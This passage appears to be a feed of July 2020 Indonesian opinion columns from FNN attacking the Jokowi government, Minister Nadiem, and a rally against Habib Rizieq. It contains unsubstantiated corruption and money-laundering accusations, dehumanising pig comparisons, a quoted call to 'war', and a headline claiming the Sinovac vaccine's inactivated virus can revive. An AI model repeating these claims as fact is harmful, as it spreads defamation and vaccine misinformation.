diduga sejumlah lembaga non pemerintah, pengusaha dan konglomerat ikut terlibat mempengaruhi Perpres guna mengamankan kepentingan pengusaha. DPR sengaja dilumpuhkan agar agenda oligarki yang diduga sarat moral hazard berlangsung dengan mulus. Jika dicermati lebih lanjut, beberapa skandal yang muncul belakangan ini dapat mengkonfirmasi kuatnya peran oligarki dan nuansa moral hazard dalam penyusunan Perpres Nomor 54/2020 atau Nomor 72/2020. Salah satu contoh adalah, Program Kartu Prakerja. Program yang semula mendapat alokasi anggaran berdasar Perpres Nomor 36/2020. Karena banyak protes publik dan temuan penyelewengan KPK, landasan hukum berubah jadi Perpres Nomor 76/2020. Padahal, menjadikan Perpres sebagai landasan legal tanpa adanya rujukan UU merupakan pelanggaran hukum serius. Terjadi rekayasa busuk. Uang yang seharusnya diberikan secara utuh kepada rakyat, sebagian malah diberikan tanpa lelang kepada delapan provider mitra penyedia pelatihan dengan anggaran Rp. 1.000.000 per orang untuk 5,6 juta orang. Empat di antara delapan provider tersebut adalah Perusahaan Modal Asing (PMA). Melalui Perpres Nomor 76/2020, pemerintah memaksakan agar sebagian anggaran program ini dapat dinikmati oleh mitra pelatihan yang sebagian berlatar belakang oligarki konglomerat. Artinya, program yang berkedok merakyat sebetulnya ditunggangi kepentingan oligarki pemburu rente. Padahal modul pelatihan dapat diakses cuma-cuma di internet atau lembaga milik pemerintah. Jika ada empati terhadap penderitaan rakyat yang terdampak pandemi dan temuan KPK diperhatikan, maka tanpa dituntut sekalipun program wajar dihentikan. Namun karena matinya empati, niat korupsi yang besar dan status kebal hukum bersarkan UU Nomor 2/2020, maka program ini tetap dilanjutkan. Kasus lain adalah tentang perubahan peran Lembaga Penjamin Simpanan (LPS). Wewenang LPS ditingkatkan sepihak sesuai PP Nomor 33/2020 melebihi ketentuan dalam UU Nomor 4/2004 tentang LPS. Dengan begitu, LPS dapat dimanfaatkan untuk membail-out bank-bank atau perusahaan yang bermasalah sebelum datangnya korona. Pemanfaatan pasilitas LPS ini bakakan berjalan lancer, karena minimnya prosedur, syarat rujukan dan transparansi. Cara ini mirip megaskandal Bantuan Likuiditas Bank Indonesia (BLBI). Negara harus menolong bank dan bisnis para pengusaha yang bermasalah melalui proses yang sarat moral hazard. Akibatnya, mewariskan beban utang besar pada rakyat yang tiada akhir. Berikutnya adalah pemanfaatan APBN untuk membantu pengusaha. Kebijakan ini melalui dana yang dialokasikan sebagai bantuan Usaha Menengah Kecil dan Mikro (UMKM) sebesar Rp. 123,46 triliun, sesuai PP Nomor 23/2020 tentang Pemulihan Ekonomi Nasional (PEN). Dana untuk UMKM sebesar Rp. 123,46 triliun itu telah diserahkan secara simbolis Rp. 1 triliun oleh Presiden Jokowi pada 23 Juli 2020 di Istana Negara. Hal yang dikhawatirkan adalah siapa dan bagaimana cara, syarat serta prosedur bantuan ini dijalankan? Kebijakan yang sangat minim pengawasan. Konsultasi dan pengawasan oleh DPR pasti tidak optimal. Sedangkan dasar kebijakan, peraturan operasional dan syarat pelaksanaan belum tersedia secara komprehensif, sangat berpotensi terjadi moral hazard. Sehingga, sebagian dana bantuan UMKM dapat berfungsi menjadi dana talangan untuk bank atau kredit macet, termasuk sektor properti dan kredit lainnya. Padahal kredit macet timbul bukan karena pandemi korona. Kredit sudah terjadi jauh sebelum korona datang. Kredir macet sebagai akibat dari pelanggaran terhadap aturan, ignorance, penyimpangan, kegiatan spekulatif. Besarnya dana talangan dapat membesar karena motif untuk keluar dari UMKM. Dalam PP Nomor 23/2020 disebutkan, bank peserta menyediakan dana penyangga likuiditas untuk bank pelaksana, yakni bank umum konvensional dan bank syariah. Selain itu, bank peserta dapat bertindak sebagai bank pelaksana, yang berfungsi merestrukturisasi kredit dan pembiayaan. Mekanisme seperti ini dapat dianggap sebagai pola talangan atau bailout bank atas nama bantuan UMKM. Bantuan yang seperti ini tidak mengacu pada persyaratan kondisi darurat, tetapi pada kondisi normal. Akibatnya, bank lebih leluasa mengeruk dana UMKM. Akhirnya, dana bantuan untuk UMKM dapat lebih banyak dinikmati pengusaha besar oligarkis dibanding kepada UMKM. Uraian di atas telah memperlihatkan bagaimana UU Nomor 2/2020 disusun untuk membuka jalan bagi penggunaan APBN yang pro oligarki. Yang bernuansa moral hazard. Praktek seperti ini sudah biasa dilakukan para pengusaha yang berpengalaman dalam berbagai kasus, terutama megaskandal BLBI. Para veteran perampok BLBI ini sangat berpengaruh. Mereka berhasil mengintervensi penguasa untuk menerbitkan Inpres Nomor 8/2002, tentang release and discharge. Dalam buku skandal BLBI tahun 2008, mantan Menko Ekuin Kwik Kian Gie menceritakan pengalaman pribadinya. Cerita tentang betapa kuatnya pengaruh para konglomerat bersama para menteri yang pro-oligarki membahas penyelesaian kasus BLBI pada November-Desember 2002. Ada seorang menteri yang mengatakan supaya jangan main-main dengan para pengusaha pengutang BLBI itu. Mereka para konglomerat yang sudah bermain di Hongkong dan Singapura, dengan jaringan yang luas. Jadi, mereka sudah merupakan perusahaan multinasional. Akhirnya, para konglomerat perampok BLBI memang mendapat status bebas pidana korupsi dari pemerintah yang pro pengusaha melalui Inpres Nomor 8/2002. Mereka ini sekarang tetap berkibar sebagai bagian dari oligarki kekuasaan. Bahkan tumbuh lebih besar dan menggurita. Saat ini, ikatan oligarki penguasa-pengusaha jauh lebih erat. Lebih menentukan kebijakan penguasa dibanding Era Megawati. Buktinya, karpet merah kebijakan dan peraturan bahkan sudah dipersiapkan sejak awal untuk memuluskan agenda para konglomerat. Jauh sebelum adanya program kebijakan sektor keuangan karena pendemi corona. Pada Era Jokowi yang mengusung UU Nomor 2/2020, segalanya mudah untuk oligarki, termasuk melumpuhkan DPR. Bahkan yang dilumpuhkan pun malah menerima dengan senang hati. Rakyat tak perlu buang waktu untuk heran. Mari bangkit untuk melawan. Penulis adalah Kordinator Koalisi Masyarakat Penegak Kedaulatan (KMKP)

Nadiem Anak Muda Yang Gagal Paham Pendidikan

by M. Rizal Fadillah Jakarta FNN – Selasa (28/07). Ketika diangkat menjadi Mendikbud, banyak pihak yang menggelengkan kepala. Karena aneh, kok Jokowi begini cara memilih pembantunya. Keluar dari prinsip "the right man on the right job". Cara pandangnya terlalu pragmatik. Menteri yang mnengurus pendidikan, bidang pembangunan yang sangat vital dan strategis menyangkut masa depan sumberdaya bangsa diberikan kepada anak muda yang tidak memiliki reputasi di bidang pendidikan. Hanya mampu mengurus Ojek Online. Demikian juga saat mengangkat para Staf Khusus Presiden. Awalnya mungkin mau disebut hebat dengan memberi kepercayaan pada anak muda. Akan tetapi, lagi-lagi sandarannya sangat pragmatik. Prestasi dan kreasi diukur dengan ruang bisnis. Ruang guru pun dibisniskan. Akibatnya Belva Devara, sang Staf Khusus Presiden mundur. Uang negara berantakan alias "ambrol-ambrolan". Begitu juga dengan Staf Khusus Andi Taufan, CEO PT Amartha yang mundur juga akibat "main-main" fasilitas negara untuk perusahaannya sendiri. Nadiem diangkat dengan melecehkan begitu banyak Guru Besar yang dimiliki negeri ini. Melecehkan Ormas, serta para penggiat di bidang pendidikan. Dunia pendidikan dikelola dengan manajemen Ojek Online. Manejemen angkut barang dan orang dengan menggunakan sarana online. Manejemen yang bukan berorientasi kepada "character building" masa depan bangsa yang panjang. Pilihan mitra pun menjadi salah. Pendekatan bisnis lagi-lagi menjadi prioritas utama. Akibatnya, tata kelola dan manejemen pendirikan menjadi berantakan dan amburadul. Mundurnya Muhammadiyah, Nahdatul Ulama (NU), dan Persatuan Guru Repiblik Indonesia (PGRI) dari Program Organisasi Penggerak (POP) Kemendikbud adalah bukti batasan kualitas Nadiem. Dana sebesar Rp. 600 miliar tidak teralokasi dengan baik. Kacau balau dan berantakan. Disinyalir organisasi "abal-abal" yang dijadikan sebagai mitra POP. Nadiem memang tak mampu melihat dengan jernih dan strategis dalam menjalankan programnya. Ya akibat dari orientasi dan cara pandang Nadiem yang pendek itu. Seperti mengelola Ojek Online. Pilihan mencurigakan juga terindikasi dengan hibah POP dana sebesar Rp. 20 miliar kepada Yayasan milik pengusaha besar Sukamto Tanoto dan Putra Sampoerna. DPR akhirnya turut mempertanyakan. Bagi kedua Yayasan tersebut, nilai hibah itu tentu saja kecil. Akan tetapi publik pasti kecewa. Pertanyaannya, bagaimana yayasan sekelas Tanoto Foundation dan Sampoerna Foundation bisa diberi hibah oleh Nadiem? Hadiah dari uang rakyat lagi. Uang yang hanya pantas diberikan kepada lembaga atau yayasan yang benar-benar mengabdi bidang pendidikan. Bukan yayasan milik konglomet yang dipakai untuk tempat mencucu uang kotor milik perusahaan. Juga untuk menghindar dari kewajiban membayar pajak kepada negara. Sebagaimana prediksi, Nadiem akan menjadi model dari menteri di cabinet Jokowi yang gagal. Anak muda yang dikarbit di tempat yang salah. Desakan mundur bisa terdengar. Meskipun tentu Nadiem bukan satu satunya menteri di cabinet Jokowi yang gagal. Hampir semua menteri Jokowi gagal. Bukankah Presiden pernah marah-marah atas kinerja para menterinya yang gagal itu? Periode ini tim Presiden memang buruk. Isu resuffle mulai berhembus meski tak jelas realisasinya kapan? Tapi siapapun yang menggantikan menteri yang diresuffle, sepanjang manajemen pengelolaan negara tidak profesional, hanya berorienrasi bisnis, proyek yang dijadikan bancakan, serta hukum yang dimain-mainkan, maka jangan harap ada perbaikan. Apalagi perbaikan itu signifikan. Fasenya sekarang adalah "decreasing" (menurun) dan "decaying" (membusuk). Nah, kita teringat ucapan Marcus Tullius Cicero, seorang orator, negarawan, filsuf, ahli politik dan hukum di Romawi "Ikan busuk itu mulai dari kepalanya". Cicero berpidato berapi-api tentang korupsi yang merajalela. Para pejabat yang merampas uang rakyat dan moralitas yang terpinggirkan. Ketika ditanya apa yang bisa dilakukan untuk memberantas korupsi. Dengan lantang tanpa rasa takut Cicero berkata, "potong kepalanya ". Maksudnya buang summber utama kebusukan ikannya. Penulis adalah Pemerhati Politik dan Kebangsaan.

FPI Versus PKI

by Mangarahon Dongoran Jakarta FNN - Selasa (28 Juli 2020). Sejak Senin (27/7/2020), viral sekelompok orang yang mencoba membakar foto Imam Besar Front Pembela Islam (IB FPI), Dr. Habib Rizieq Shihab. Para pendemo yang jumlahnya ratusan orang itu dipimpin oleh Boedi Djarot. Pakaian berwarna merah mendominasi para pendemo. Tuntutan mereka para pendemo adalah menolak khilafah dan menolak Habib Rizieq kembali ke Indonesia dari pengasingannya di Tanah Suci Mekkah. Penolakan terhadap khilafah dan penyebutan kadrun atau kadal gurun adalah kalimat-kalimat yang sering dikeluarkan oleh penganut paham komunis. Ketua PKI Diva Nusantara Aidit sering menggunakan kata kadrul ini untuk menyerang kelompok Islam yang menolak PKI Menjelang meletusnya peristiwa G30S/PKI tahun 1965, PKI dan antek-anteknya sangat benci umat Islam. PKI sangat membenci terhadap ulama dan pesantren. Berapa banyak ulama atau kiai, terutama kiai NU yang dibunuh PKI. Berapa banyak pesantren yang dibakar, dan santrinya yang dibunuh oleh PKI. Para pendemo yang membawa poster bergambar Imam Besar Dr. Habib Rizieq Shihab. Sambil melakukan orasi, sebagian pendemo menginjak-injak foto Dr. Habib Rezieq Shihab. Melemparinya dengan tomat. Caci-makian pun terus keluar dari mulut para pendemo. Boedi Djarot menyebutnya manusia sampah. Dan jika pulang ke Indonesia "kita tolak rame-rame." Kalimat provokatif tersebut kemudian disambut pendemo dengan melempari poster yang diletakkan di atas aspal dengan tomat ke poster yang berisi gambar Dr. Habib Rizieq Shihab itu. Ada suara yang terdengar mengucapkan bakar. Kata bakar itu ditujukan ke poster yang bergambar Dr. Habib Rizieq Shihab tersebut. Beberapa orang jongkok dan merunduk untuk menyalaķan korek api. Mencoba membakar pinggir poster Akan tetapi, korek api yang sudah menyala, ternyata tidak bisa membakar pinggiran poster yang bahannya sangat mudah terbakar itu. Padahal, puntung rokok saja diletakkan di atasnya, pasti terbakar dan bolong. Apalagi sudah disiramin dengan minyak. Nah, karena upaya membakar hanya dengan korek api dari pinggir poster itu tidak mempan, para pendemo kemudian muncul seseorang membawa jerigen kecil berisi minyak bensin atau minyak yang mudah memantik api menyala. Lelaki tersebut pun kemudian menyiramkan minyak ke atas poster. Setelah itu korek api dinyalakan dan disundutkan ke arah poster yang sudah disiram minyak itu (bisa bensin atau minyak tanah). Api pun menyala di bagian yang disiram bensin itu. Akan tetapi, api hanya menyala sebentar. Hanya mengeringkan minyak yang disiramkan. Karena apinya padam hanya mengeringkan bensin, pendemo terlihat kesal dan marah. Tak mempan dengan api, mereka akhirnya merobek-robek poster tersebut. Tidak jelas, apakah aksi Boedi Djarot dan kawan-kawannya sebagai balas dendam atas pembakaran bendera PDIP dan bendera PKI beberapa waktu lalu. Saat aksi demo penolakan Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) yang juga terjadi di depan gedung DPR RI, Senayan, Jakarta Pusat bendera PDIP dan bendera PKI dibakar. Sayangnya, saat aksi penolakan RUU HIP, Boedi Djarot dan kawan-kawan tidak muncul. Padahal, mereka mengaku paling Pancasilais. Tidak jelas juga, apakah aksi demo Boedi Djarot dan kawan-kawan itu masih ada kaitan dengan peringatan persitiwa 27 Juli 1996 atau dikenal dengan peristiwa "Kudatuli." Yaitu, pada saat terjadi pertumpahan darah di gedung PDIP dan sekitarnya, yang memakan banyak korban tewas dan hilang. Belum yang luka-luka dan sejumlah kendaraan bermotor dibakar dan dirusak massa. Bahkan, pos polisi lalu lintas yang berada di seberang bioskop Megaria tak luput dari amukan masa. Yang pasti, tindakan yang dilakukan Boedi Djarot dan kawan-kawannya itu harus dipertanggungjawabkan secara hukum. Aparat kepolisian harus bertindak tegas. Sama dengan tindakan tegas terhadap pembakar bendera PDIP (meski yang ini kabarnya disusupi). Jika tidak ada penegakan hukum, saya khawatir inilah awal perang saudara di negeri Pancasila tercinta itu. Sebab, saya percaya aksi ini akan dibalas lagi oleh pendukung Dr. Habib Rizieq Shihab dengan berdemo dan membakar dan menginjak-injak foto seseorang yang didukung Boedi Djarot. Menghina Ulama Itu Cara PKI Pernyataan tegas telah dikeluarkan Ketua Umum FPI Ahmad Sobri Lubis. Ia menyebutkan, menghina ulama, habaib, kiai dan ustaz adalah cara-cara PKI. Umat Islam harus siap mengjadapinya. "Kita siap perang. Perang bisa dimulai," kata Sobri Lubis ketika dihubungi FNN.co.id. Jika aparat keamanan, terutama polisi tidak bertindak tegas terhadap Boedi Djarot dan kawan-kawan, saya khawatir ulah mereka akan dibalas secara fisik oleh para pengagum Dr. Habib Rizieq Shihab, khususnya umat Islam dan yang sangat mencintai NKRI dan Pancasila. Buktinya, malam hari setelah peristiwa meninjak-injak dan membakar foto Dr. Habib Rizieq Shihab, sekelompok massa sudah mendatangi kediaman Boedi Djarot. Hanya saja, ia sudah kabur duluan. Kabarnya, ia kabur ke sebuah Vila milik Ketua Umum PDIP Megawati, di daerah Megamendung, Kabupaten Bogor, Jabar. Selasa (28 Juli 2020), beredar lagi video yang mengabarkan vila itu mendapatkan pengamanan yang ekstra ketat. Pengamanan di Villa milik Migawati di Megamendung pun ditingkatkan. Karena umat Islam di sekitar Villa tidak suka dengan kehadiran Boedi Djarot (jika benar berlindung di sini). Apalagi, umat Islam di Kecamatan Megamendung cukup mencintai Habaib, dan menghormati Dr. Habib Rizieq Shihab yang membangun pesantren yang terkenal dengan nama Markaz Syariah di daerah sejuk itu. Pesantrennya ini cukup terkenal. Apalagi ruangan tempat zikir Dr. Habib Rizieq Shihab sempat "disinggahi" peluru tajam, yang hingga sekarang tidak jelas pelakunya. Tidak jelaas karena laporan ke polisi tidak ditindaklanjuti. Dr. Habib RIzieq Shihab sendiri lolos dari usaha pembunuhan itu. Oh ya kembali ke pembakaran poster berisi gambar Habieb Rizieq yang tidak mempan, saya jadi teringat peristiwa 4 November 2016, saat demo terhadap si penista agama Islam, Basuki Tjahaya Purnama alias Ahok. Peristiwa yang dikenal dengan 411 itu memanas dan aparat kepolisian menembakkan gas air mata di beberapa sudut jalan di sekitar Istana Kepresidenan. Peristiwa semakin memanas justru saat menjelang Maghrib, saat Habib Rizieq dari mobil komando sudah meminta peserta aksi kembali dengan tertib. Permintaan itu tidak lama setelah Kapolri Jenderal Tito Karnivan meminta agar tidak ada lagi tembakan gas air mata. Di atas mobil komando, selain Dr. Habib Rizieq Shihab, ada beberapa ulama. Ada juga Menko Polhukam Wiranto, Menteri Agama. Wiranto dan Menteri Agama buru-buru lari ke arah Istana, meski masih sempat merasakan sedikit gas air mata. Di tengah desingan peluru gas air mata, Dr. Habib Rizieq Shihab tetap bertahan di atas mobil komando yang sudah penuh dengan gas air mata. Sedangkan ustaz Arifin Ilham dan beberapa orang lainnya terpaksa dilarikan ke Rumah Sakit Budi Kemuliaan, karena sesak nafas akibat menghirup gas air mata. Alhamdulillah, Habib Rizieq tidak apa-apa. Ketika kembali ke markas FPI di Petamburan, Jakarta Pusat, Dr. Habib Rizieq Shihab tetap merendah di hadapan pengagumnya. "Alhamdulillah, itu semua atas pertolongan Allah," ucapnya.** Penulis adalah Wartawan FNN.co.id

Babi Naik Pohon Membawa Anaknya

by M Rizal Fadillah Kini banyak para pemimpin yang tak peduli agamanya dirusak. Kedaulatan negaranya diinjak injak. Harta rakyatnya dirampok. Aset-aset bangsanya dikuasai dan dikuras habis. Maka pemimpin seperti ini adalah "dayus" atau babi yang planga plongo dan masa bodo. Begitu juga pemimpin yang makan dari barang kotor-kotor, baik itu komisi atau rente. Keluar dan masuk got dan gorong-gorong. Berkubang di air yang kotor. Jakarta FNN – Ahad (26/07). Merenung membaca share di beberapa WA grup. Gambar hewan babi yang menaiki pohon dengan menggendong anaknya. Komentar tulisan yang menyertai beragam. Lucu-lucu dan menarik. Ada yang berkomentar "dasar babi, disuruh turun malah bawa anak". Ada juga yang mdenulis "dasaar goblook, disuruh turun malah bawa anak". Persamaannya pada kalimat "suruh turun" dan "bawa anak". Namanya meme atau karikatur. Tentu saja multi interpretasi. Mengapa harus babi yang menjadi contoh? Padahal babi bukan hewan yang biasa memanjat pohon. Disinilah mungkin uniknya itu. Berbeda dengan monyet. Babi pun tak pernah bawa anak. Apalagi sampai memanjat. Nampaknya ini sindiran tajam untuk "unright job" dan ketidakmampuan anak, sehingga harus dibawa-bawa oleh ayahnya. Karenanya seruan disana adalah untuk turun, agar tidak berada di ruang yang bukan habitatnya. Sebab babi itu hewan yang memakan kotorannya sendiri. Senang berkubang di lumpur yang kotor. Jules Winfield tokoh dalam film "Pulp Fiction" berkata ketika ditanya mengapa tidak makan babi? Dijawab oleh Jules Winfield, "saya tidak makan mahluk yang tak mengerti kotoran mereka sendiri". Salah satu sifat babi adalah kepedulian rendah. Juga tak ada rasa cemburu. Babi jantan yang tak peduli dengan pasangan betinanya "dipakai" babi jantan yang lain. Satu babi betina biasa berhubungan sex dengan banyak babi jantan di satu ruang dan waktu yang sama. Dalam kaitan manusia, watak untuk memakan barang haram. Keburukan yang menjadi makanan sehari hari. Tidak ada rasa peduli atau malu. Selain itu keserakahan untuk menguasai dapat dimisalkan sebagai watak babi. Tak peduli anak dan istri "bergaul bebas". Tak ada rasa cemburu sama sekali. Ayam jantan akan berkelahi sampai mati "memperebutkan" dan "menjaga" ayam betinanya. Namun tabiat itu tidak berlaku untuk babi. Dalam agama, watak masa bodoh babi itu disamakan dengan apa yang disabdakan Nabi Muhammad SAW sebagai "dayus", seperti hadits dari Ammar bin Yasir, "tiga golongan yang tidak memasuki surga yaitu dayus, wanita yang menyerupai laki-laki, dan peminum arak". Rosulullah menerangkan arti "dayus" yaitu "orang yang tidak peduli siapa yang masuk (bersama anak dan istrinya)". HR Thabrani. Kini banyak para pemimpin yang tak peduli agamanya dirusak. Kedaulatan negaranya diinjak injak. Harta rakyatnya dirampok. Aset-aset bangsanya dikuasai dan dikuras habis. Maka pemimpin seperti ini adalah "dayus" atau babi yang planga plongo dan masa bodo. Begitu juga pemimpin yang makan dari barang kotor-kotor, baik itu komisi atau rente. Keluar dan masuk got dan gorong-gorong. Berkubang di air yang kotor. Susahnya mereka itu selalu ingin naik terus. Padahal tak mampunyai kemampuan untuk itu. Angan-angan tinggi, namun penuh dengan kebohongan, dari satu kebohongan ke kebohongan yang lain. Cirinya, ketika ditegur tak mau mendengar. Pokoknya naik terus, sambil membawa, mendorong dan menggendong anak, istri dan kerabatnya. Nepotisme lagi. Karenanya sindiran bagus bagi siapapun yang terkena "sindroma babi". Yang naik ke atas pohon dengan menggendong anak babi. Msekipun diumpat dengan keras "dasar babi, disuruh turun malah membawa anak". Penulis adalah Pemerhati Politik dan Kebangsaan.

Mainan Akhir Jokowi, Zugzwang Dan Kudeta Terselubung

by Gde Siriana Yusuf Jakarta FNN – Ahad (26/07). Seperti dalam permainan catur, politik Jokowi sudah melewati permainan pembukan dan permainan tengah. Kini memasuki permainan akhir. Dalam permainan catur dikenal istilah "blunder" dan "zugzwang". Blunder apabila pemain melakukan kesalahan fatal. Sebab bisa merugikan posisinya. Zugzwang dilakukan, jika pemain tidak memiliki pilihan langkah lain. Akibatnya, apapun langkah yang dijalankan adalah langkah keterpaksaan. Langkah yang membuat posisinya semakin lemah. Kini kita bisa melihat permainan akhir Jokowi yang penuh dengan blunder dan zugzwang tersebut. Blunder dan fatal pertama, ketika Jokowi membuat Perppu Covid-19 yang sudah disahkan menjadi UU Nomor Tahun 2020. Dalam Perppu ini, untuk waktu tiga tahun ke depan (2020-2022), pemerintah Jokowi telah merampas hak budget rakyat yang diwakili DPR. Jadi, dapat dikatakan rezim Jokowi telah melakukan "kudeta terselubung". Kudeta atas hak konstitusional rakyat untuk mengontrol pemerintah melalui hak budget di DPR. Mengapa DPR menerima saja? Jelas ini buah dari grand coalition di pemerintahan Jokowi saat ini. Tidak mungkin fraksi-fraksi di DPR menentang kebijakan strategis eksekutif, karena parpol induknya ada dalam sistem eksekutif. Blunder dan fatal kedua, ketika Jokowi memaksakan syahwat politik “ajimumpung” untuk membangun dinasti kekuasaan di Solo. Langkah Jokowi ini tidak saja menampilkan, bahkan telah menelajangi diri dengan politik yang tidak bermoral dan tidak beretika. Meski tidak ada larangan dalam undang-undang untuk anaknya Gibran Rakabuming Raka ikut pilkada Walikota Solo. Bahwa benar ini kontestasi politik. Bukan jabatan dengan pengangkatan oleh Jokowi sebagai Kepala Pemerintahan. Tetapi semestinya seorang presiden paham akan situasi kebatinan pejabat struktural yang ada di bawah pemerintah pusat. Juga budaya ewuh pakewuh pejabat daerah di Solo yang masih kental dan selalu dijadikan pijakan oleh masyarakat Solo. Saya yakin, tanpa diperintah langsung oleh Jokowi pun, semua struktur pemerintahan daerah di Solo akan memenangkan anaknya Jokowi. Apalagi kondisi masyarakat kita yang belum matang dalam berdemokrasi. Pada situasi normal saja, masih sarat dengan "wani piro". Apalagi saat Covid-19 yang telah menekan ekonomi rakyat sampai ke panci dan penggorengan di dapur. Dengan guyuran uang yang melimpah, dan melebihi uang lawan (jika ada lawan) dipastikan siapun yang menantang Gibran pasti kalah. Apalagi jika melawan kotak kosong. Tidak ada persaingan dalam uang cendol saat pencoblosan. Memangnya siapa yang membiayai kampanye kotak kosong? Jika Jokowi tidak memahami situasi ini, itu artinya Jokowi tidak mengenal dengan baik kondisi dan budaya masyarakatnya sendiri. Atau memang ini dimanfaatkan untuk membangun dinastinya sejak sekarang. Jika mengenal betul karakter masyarakatnya, tentu sebagai pemimpin, harusnya memberi contoh yang baik dalam berdemokrasi. Jokowi harus tetap mengedepankan moral dan etika. Bukan syahwat untuk membangun dinasti. Dengan sistem threshold 20%, maka parpol-parpol menikmati previllege dengan mahar politik dari kontestan yang ingin diusung. Dengan grand coallition di pemerintahan, tentunya semua parpol yang pro pemerintah akan bergabung mengusung anaknya Jokowi. Sehingga yang tersisa hanya PKS. Namun sayangnya PKS tetap saja tidak bisa mengajukan calon lain akibat aturan threshold ini. Apakah kenyataan ini layak untuk disebut sebagai perhelatan demokrasi yang sehat? Apakah sistem kontestasi seperti ini yang kita mau untuk dilembagakan? Untuk dicatata sebagai sejarah perjalanan demokrasi yang membanggakan? Atas dasar itulah, mengapa bung Rizal Ramli sangat menentang aturan threshold ini. Aturan yang hanya akan membodohi rakyat dan memasung kehendak rakyat. Dalam prakteknya, calon-calon kontestasi politik dipilih oleh para cukong konglomerat. Setelah itu tawarkan kepada parpol. Jika uang kampanye yang dibutuhkan parpol deal, barulah sang calon ditawarkan oleh parpol kepada rakyat. Soal rating dan elektabilitas bukan soal yang sulit. Apalagi dengan uang yang melimpah. Inilah buah dari demokrasi populism. Sebaiknya jika ada calon kontestasi politik melawan kotak kosong, sebaiknya diganti saja dengan sendal jepit. Toh, setidaknya sebelum memilih, telah lebih dulu memberikan kesempatankepada rakyat untuk berpikir. Mana yang lebih bermanfaat, si calon tunggal atau sandal jepit? Kembali ke permainan catur dan langkah "zugzwang" Jokowi. Dalam situasi ekonomi negara yang sudah masuk dalam krisis ini, nampak sekali pemerintah dalam posisi terjepit. Langkah apapun yang diambil pemerintah sekarang, tidak lagi bisa meyakinkan rakyat bahwa itu adalah sebuah harapan. Tidak ada lagi yang bisa dilakukan, kecuali menambah utang dan jual aset negara. Bahkan publik sekarang melihat bahwa porsi anggaran yang dialokasikan untuk penanganan Covid-19 ini, lebih besar pada sektor pemulihan ekonomi dari pada persoalan kesehatan rakyat. Jokowi sekarang membentuk tim baru pemulihan ekonomi dan penanganan Covi-19. Ketuanya adalah Erick Tohir, Menteri Negara Badan Usaha Milik Negara (BUMN). Langkah ini menunjukkan bahwa adanya pemikiran untuk melakukan langkah shortcut. Lambat atau cepat akan mengarah ke sana. Idealnya itu, jika untuk pemulihan ekonomi, maka bidang ini dikendalikan langsung oleh Menko Perekonomian. Namun dari pembentukan tim penggulangan Covid-19 baru ini, sepertinya Presiden tidak yakin dapat memulihkan ekonomi. Akibatnya, pejabat yang ditunjuk adalah yang mengurusi ekonomi mikro (BUMN). Meneg BUMN ditugasi menyelesaikan persoalan makro ekonimi. Ya kacaulah. Ekonomi nasional itu bukan hanya urusan BUMN Pak Presiden. Tetapi menyangkut juga ekonomi secara menyeluruh, yang terkait hajat hidup rakyat banyak. Ada usaha sektor swasta, korporasi, Usaha Menengah Kecil dan Mikro (UMKM), nelayan, petani, dan lain-lain. Masa diajarin juga sih? Selama ini yang sering dilakukan di BUMN hanya "operasi plastik". Dengan cara membagus-baguskan laporan keuangan tahunan. Hanya bermain di sekitar valuation, jualan aset, jualan saham, dimerger agar rasio hutang terhadap aset jadi kecil, main di bursa saham dan sejenisnya. Singkat cerita hanya permainan porto folio saja. Tidak ada yang membangun fundamental ekonomi nasional. Padahal sejak sebelum Covid-19, bung Rizal Ramli yang sangat paham permainan-permainan di BUMN sudah mengingatkan bahwa “badai krisis ekonomi akan mudah menyerang Indonesia” karena tidak memiliki fundamental ekonomi yang kuat. Jadi pertanyaan besar lahir dari dibentuknya tim Erick Thohir ini adalah aset negara yang mana akan dijual? Berapa banyak lagi utang baru yang akan diciptakan? Dari tim Erick Thohir ini, terlihat juga kalau semakin jauhnya jangkauan kementerian kesehatan dalam menangani Covid-19. Pada banyak negara, yang menjadi leader dari penanganan Covid-19 adalah Menteri kesehatan langsung. Ini untuk menunjukkan tupoksi yang benar dan profesionalisme para pejabat kesehatan. Jadi, kesimpulannya sangat mungkin persoalan Covid tidak tertangani dengan baik. Juga untuk ekonomi, tidak pulih-pulih karena kebijakan yang tidak tepat dan hanya mengandalkan utang dan jual aset. Dari pemaparan di atas, sekarang ini kita sedang menyaksikan permainan akhir Jokowi yang penuh dengan langkah “blunder dan zugzwang”. Cepat atau lambat kekalahan Jokowi sudah tak bisa dihindari. Hanya menunggu waktu saja. Entah besok, lusa, minggu depan atau beberapa bulan lagi. Kita tonton saja akhir dari permainan ini. Penulis adalah Direktur Eksekutif Indonesian Future Studies (INFUS).

Vaksin Sinovac Berbahaya: Virus “Mati” Bisa Hidup Lagi!

by Mochamad Toha Jakarta FNN - Jumat (24 Juli 2020). Pada awal Agustus 2020, Universitas Padjadjaran Bandung bersama BUMN Biofarma akan melakukan melakukan uji klinis calon vaksin Virus Corona (Covid-19) yang akan disuntikkan kepada 1.620 orang. Uji klinis itu akan dilakukan setelah mendapatkan izin penelitian dari Komite Etik Penelitian Universitas Padjadjaran (UNPAD). Manajer Lapangan Tim Penelitian Uji Klinis Tahap Ketiga calon Vaksin Covid-19 Fakultas Kedokteran UNPAD dr. Eddy Fadliana mengatakan, meski dinyatakan aman untuk manusia, pada uji klinis fase pertama dan kedua yang telah dilakukan di China. Yaitu, adanya efek samping yang akan ditimbulkan ketika vaksin tersebut disuntikkan kepada manusia. Hal itu disampaikan Eddy dalam konferensi pers di Rumah Sakit Pendidikan (RSP) UNPAD Jalan Prof Eyckman, Kota Bandung, Rabu (22/7/2020). Menurutnya, kita berpatokan pada penelitian. Dari penelitian yang dipublikasikan, ada reaksi lokal berupa nyeri di tempat suntikan 20 sampai 25 persen (dari jumlah orang yang menjadi relawan uji klinis fase satu dan dua),” kata Eddy, seperti dilansir Kompas.com. Lebih lanjut Eddy menambahkan, pada uji klinis fase satu dan fase dua, beberapa relawan yang telah disuntik calon vaksin Covid-19 yang dikembangkan oleh Sinovac Biotech Ltd (Sinovac), mengalami radang paru-paru, diare dan penyakit lainnya. Tapi, “Setelah diaudit tidak berhubungan dengan vaksin,” ungkapnya. Selain itu, dari uji klinis fase satu dan dua, calon vaksin yang dibuat dari virus corona yang dimatikan ini dipastikan tidak menimbulkan penyakit baru. “Fase satu dan fase dua menunjukkan tingkat keamanan cukup tinggi. Pada fase satu dan dua tidak timbul demam, hanya reaksi lokal nyeri di tempat suntikan tadi,” jelasnya. Ketua Tim Penelitian uji Klinis tahap 3 calon Vaksin Covid 19 dari Fakultas Kedokteran UNPAD Prof. Kusnandi Rusmil menambahkan, nyeri bekas suntikan calon vaksin covid-19 tersebut akan hilang dengan 